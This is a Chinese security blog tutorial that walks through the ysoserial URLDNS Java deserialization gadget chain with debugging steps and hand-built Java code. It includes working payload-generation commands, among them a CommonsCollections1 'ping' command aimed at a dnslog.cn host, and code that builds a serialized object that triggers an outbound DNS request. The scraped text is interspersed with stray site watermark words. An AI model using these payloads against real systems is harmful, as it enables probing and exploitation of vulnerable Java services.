前言
文章首发于tools:yso之URLDNS链
Java反序列化
Java提供了一种对象序列化的机制,用一个字节序列表示一个对象,该字节包含对象的数据、对象的类型、对象的存储属性。字节序列写出到文件后,相当于可以持久保存一个对象,这过程叫做序列化。序列化对象会通过ObjectOutputStream的writeObject方法将一个对象写入到文件中。
而反序列化是使用了readObject 方法进行读取并还原成在序列化前的一个类。
这一步骤并没有什么安全问题,但是如果反序列化的数据是可控的情况下,那么我们就可以从某个输入点,输入恶意代码,再去查找在哪个点,我们的输入会被一层一层的带去到我们的触发点去,而这一步叫做寻找利用链的步骤。
ysoserial
因为java序列化后的数据为不可见字符,不方便构造,所以此项目帮你生成反序列化poc的脚本,但是并不会提供反序列化的点。
项目地址
https://github.com/angelwhu/ysoserial
讯享网
使用
主要有两种使用方式,一种是运行ysoserial.jar 中的主类函数,另一种是运行ysoserial中的exploit 类,二者的效果是不一样的,一般用第二种方式开启交互服务
- java -jar ysoserial-0.0.6-SNAPSHOT-all.jar [payload] ‘[command]’
- java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://fq3jq6.dnslog.cn
- java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 2333 CommonsCollections1 ‘ping test.fq3jq6.dnslog.cn’
项目结构
讯享网│ GeneratePayload.java {
{生成poc的入口函数}} │ Deserializer.java {
{反序列化模块}} │ Serializer.java {
{序列化模块}} │ Strings.java {
{字符处理模块}} │ ├─exploit {
{一些直接调用的exp}} │ JBoss.java │ JenkinsCLI.java │ JenkinsListener.java │ ...... │ ├─payloads {
{生成gadget poc的代码}} │ │ CommonsBeanutils1.java │ │ URLDNS.java │ │ ..... │ │ │ ├─annotation {
{一些不重要的配置}} │ │ Authors.java │ │ │ └─util {
{一些重复使用的单元}} │ ClassFiles.java │ Gadgets.java │ └─secmgr {
{和安全有关的管理}} DelegateSecurityManager.java ExecCheckingSecurityManager.java
动态调试
源码地址
https://github.com/frohoff/ysoserial
克隆到本地直接用idea打开,这时候IDEA会自动根据其中的配置下载依赖,只需要等待几分钟
自动下载后最好在pom.xml那把剩下的依赖也解决了
程序入口
首先找到程序的入口点,点开pom.xml搜索mainclass就可以找到入口点的类

ctrl+左键点击跟踪进去,运行测试一下。

需要参数

主函数调用链
讯享网1处接受2个参数比如 URLDNS 'http://www.baidu.com' 2处获得poc模块的类,这里就是URLDNS.java类 3处实例化poc类以及将第二个参数传入类 4处序列化一次然后输出(poc)

在run-edit config中配置参数

这里填入URLDNS链的启动参数
URLDNS http://fq3jq6.dnslog.cn

再次运行这样我们就获取到了一个序列化的数据。

手动构造pop链
指定类的hashmap到指定类的hashcode
tips:HashSet列表的add也会调用map.put只是链子更长而已
讯享网HashMap<String, String> map = new HashMap<String, String>(); // 键不能重复,值可以重复 map.put("san", "张三"); map.put("si", "李四"); map.put("wu", "王五"); map.put("wang", "老王"); map.put("wang", "老王2");// 老王被覆盖 map.put("lao", "老王"); System.out.println("-------直接输出hashmap:-------"); System.out.println(map);
我们跟进put函数
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true); }
跟进从putVal到hash函数
讯享网static final int hash(Object key) {
int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); }
发现和hashCode相关。也就意味着当我们使用hashmap的put的时候,key会调用->hash(key)->然后调用key.hashCode()
也就是说只要key是一个对象,那么我们可以调用任意对象的hanshCode函数
那么又是怎么通过hashCode来发起dns请求的?
URL类中的hashcode
URL.java 881,URL对象hashCode函数调用了handler.hashCode
public synchronized int hashCode() {
if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); return hashCode; }
跟进handler.hashCode()(URLStreamHandler.java 350),他是由URLStreamHandler类形成的对象,是一个抽象类
用来处理协议(http/https)的建立连接

hashCode调用了getHostAddress函数
讯享网protected int hashCode(URL u) {
int h = 0; // Generate the protocol part. String protocol = u.getProtocol(); if (protocol != null) h += protocol.hashCode(); // Generate the host part. InetAddress addr = getHostAddress(u); ...........
跟进getHostAddress(u)(URLStreamHandler.java 433),看名字也知道是用来获取主机IP地址的

在其中调用了InetAddress.getByName
protected synchronized InetAddress getHostAddress(URL u) {
if (u.hostAddress != null) return u.hostAddress; String host = u.getHost(); if (host == null || host.equals("")) {
return null; } else {
try {
u.hostAddress = InetAddress.getByName(host); .........................................
而InetAddress.getByName(host)就是DNS请求了

那么就清楚了,调用链map.put(Url,XX)->URL.hashCode->handler.hashCode->getHostAddress(u)->u.hostAddress=InetAddress.getByName(host);
发出DNS请求,那么我们就可以简单构造一下
讯享网 HashMap<URL, String> hashMap = new HashMap<URL, String>(); URL test_url= null; try {
test_url = new URL("http://test.kei8v0.dnslog.cn"); hashMap.put(test_url, "22222"); System.out.println("success"); } catch (MalformedURLException e) {
e.printStackTrace(); }

到这里成功执行了DNS请求
hashmap的反序列化
我们前往HashMap.java
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
......................... // Read the keys and values, and put the mappings in the HashMap for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false, false); #!!!!!!!!!!! } } }
发现readObject每个值也会调用putVal->hash(作用和HashMap中的put函数一致),然后如果key为URL类型就会掉入前面URLDNS的链中,那么我们现在非常方便写代码
讯享网public static void main(String[] args) throws Exception{
//构造请求链 HashMap<URL, String> hashMap = new HashMap<URL, String>(); URL url = new URL("http://lyyy.dr8m3e.dnslog.cn\n\n"); Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); f.setAccessible(true); f.set(url, 0); hashMap.put(url, "test"); f.set(url, -1); //序列化操作 ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin")); oos.writeObject(hashMap); ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin")); ois.readObject(); }
这里前面进行构造,后面进行序列化以及反序列化触发
有一个有意思的点是为了不让构造的时候触发dns请求影响结果判断,我们先使URL类中的hashCode值为0
我们分析URL的hashCode
public synchronized int hashCode() {
if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); return hashCode; }
发现hashCode为-1的时候才调用handler.hashCode()
而hashCode定义为private int hashCode = -1;
默认为-1,我们要在构造的时候不发起dns请求,所以我们要在put之前set为非-1的值

HashMap->readObject()
HashMap->putVal()
HashMap->hash()
URL->hashCode()
URLStreamHandler->hashCode()
URLStreamHandler->getHostAddress()
InetAddress->getByName()
URLDNS链分析
URLDNS是ysoserial里面就简单的一条利用链,但URLDNS的利用效果是只能触发一次dns请求,而不能去执行命令。比较适用于漏洞验证这一块,而且URLDNS这条利用链并不依赖于第三方的类,而是JDK中内置的一些类和方法。
在一些漏洞利用没有回显的时候,我们也可以使用到该链来验证漏洞是否存在。
调用jar包得到序列化后的数据,如果需要执行,需要对其做反序列化操作。这里先开始看看数据是怎么获取的
打开src/main/java/ysoserial/payloads/URLDNS.java的源码

在注释中标明了调用链
讯享网* Gadget Chain: * HashMap.readObject() * HashMap.putVal() * HashMap.hash() * URL.hashCode()
和手动构造的前半部分一致
在put地方打一个断点,再找到hashMap.readObject中的putVal打上断点
开始调试直接跳到第二个点

putVal调用了hash,key是自己指定的url:http://fq3jq6.dnslog.cn 通过readObject函数生成的URL对象

步入hash函数,这里key传入URL对象

所以调用了URL类的hashCode,继续步入hashCode

hashCode=-1时去执行hadler.hashCode

执行getHostAddress,u为http://fq3jq6.dnslog.cn

调用了InetAddress.getByName,成功发起dns请求,调用链和手动构造一模一样
本地使用yso测试
本地进行反序列化测试一下,手动生成
tips:这里不能用powershell运行,会在文件头加上错误信息导致报错
java -jar ysoserial.jar URLDNS http://8q2frx.dnslog.cn > out.bin
本地反序列化Demo
讯享网import java.io.FileInputStream; import java.io.ObjectInputStream; public class Helloworld{
public static void main(String[] args) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin")); ois.readObject(); } }

探究冗余处理
那么yso是怎么处理构造时发出的dns请求呢?
查看URLDNS源码可以发现,作者构造URL对象时使用了三个参数

来到析构函数查看,是可以通过指定处理程序解析来订制规范创建URL

也就是依赖handler来制定规范创建URL对象
handler是上面创建的

跟进
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null; } protected synchronized InetAddress getHostAddress(URL u) {
return null; } }
直接重写了getHostAddress()内容为返回空
那么如果我们传入的handler为自己改写的时,创建URL对象调用hashCode函数就不能发起DNS请求了
那么为什么在反序列化的时候会有请求呢?
因为之前说过序列化只记录类的属性,而函数内容不管,所以这个对象的函数被重写并不影响序列化的结果。
而反序列在被攻击端进行,只要序列化数据正常,自然可以正常发起DNS请求
总结
URLDNS链
- hashmap重写了readobject反序列化方法,而重写后的readobject方法调用了一系列方法最后发起dns请求
- 使用的全部是JDK中内置的类和方法,不会有环境要求,所以利用范围大
- 使用的全部是JDK中内置的类和方法,学习后对java源码理解更深入
- 原生类的很多方法都会最后发起DNS请求,但是这里是对反序列化的探测,所以需要的是
- 1.重写readObject函数
- 2.重写后的readObject执行了危险操作(危险类/危险函数)
参考
java代码审计入门3-ysoserial调试和构造URLDNS的pop链
Java安全之URLDNS链

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容,请联系我们,一经查实,本站将立刻删除。
如需转载请保留出处:https://51itzy.com/kjqy/123757.html